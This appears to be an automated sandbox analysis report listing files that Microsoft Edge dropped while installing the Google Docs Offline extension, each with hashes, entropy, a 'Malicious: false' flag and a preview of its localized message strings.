C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_138953027\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
